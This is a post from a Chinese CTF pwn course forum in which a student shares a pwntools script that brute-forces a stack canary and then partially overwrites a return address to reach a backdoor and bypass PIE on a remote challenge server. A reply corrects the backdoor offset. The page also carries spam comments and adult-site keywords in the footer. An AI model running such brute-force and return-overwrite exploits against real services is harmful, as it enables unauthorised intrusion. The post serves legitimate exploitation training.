<acronym id="bb0p4"><strong id="bb0p4"></strong></acronym>
  • <acronym id="bb0p4"></acronym>
    <td id="bb0p4"></td>
    1. <tr id="bb0p4"><s id="bb0p4"></s></tr>
        <p id="bb0p4"><del id="bb0p4"><xmp id="bb0p4"></xmp></del></p>
        首頁
        社區
        課程
        招聘
        作業:canary_01問題。本地可以爆破成功,遠程失敗,沒有調試思路

        問題描述

        作業:canary_01即protect_full,本地爆破Canary和PIE成功,遠端爆破Canary成功,PIE失敗,想了解利用是否有問題

        問題出現的環境背景及自己嘗試過哪些方法

        本地虛擬機:課程提供的Ubuntu 20.04 64位
        利用思路:期望將ret值的低2字節改為backdoor的值從而繞過PIE

        相關代碼

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        from pwn import *
         
        elf = ELF("./protect_full")
        # libc = ELF("./libc-2.31.so")
        context(arch=elf.arch, os=elf.os)
        context.log_level = 'debug'
        # p = process([elf.path])
        p = remote('123.59.196.133', '10015')
         
        canary = '\x00'
        while len(canary) < 8:
            for i in range(0x100):
                payload = ''
                payload += 'a' * 0x18
                payload += canary
                payload += p8(i)
                p.sendafter('Okay', payload)
                if not p.recvline_contains('stack smashing detected', timeout=1):
                    canary += p8(i)
                    break
         
        canary = u64(canary)
         
        backdoor = 0x8e4
        for i in range(0x10):
            k = i << 12
            payload = ''
            payload += 'a' * 0x18
            payload += p64(canary)
            payload += 'b' * 8
            payload += p16(backdoor + k)
            p.sendafter('Okay', payload)
            buf = p.recv()
            if b'flag' in buf:
                print(buf)
                break
         
        p.interactive()

        相關調試信息

        附圖或描述

        你期待的結果是什么?實際看到的錯誤信息又是什么?

        期望了解遠端PIE爆破失敗的問題在哪,腳本是否有問題

        收藏
        1條回答
        jelasin 2024-3-9 2024-3-9編輯

        backdoor是0x9e0,更新了

        回復 已采納
        Art1cuno: 搞定了謝謝師傅
        回復 2024-3-9
        mb_udrekzgh: 大佬加我qq幫我個事情唄2671511587
        回復 2024-3-19
        mb_fozeicvl: 舌頭舔著牙齒怎么老是舔著縮不回去了
        回復 2024-3-20
        CTF PWN 入門之旅 : Linux pwn 探索篇
          參與學習     17 人
          提問次數     3 個
        《Linux pwn 探索篇》;從0到1,打造堅實的Pwn基礎
        我的問答 領取收益
        0
        我的提問
        0
        我的回答
        0
        學習收益
        青青草原伊人久久伊人_嫩草网站在线观看_强乱中文字幕在线播放_日本黄色片A三级三级三级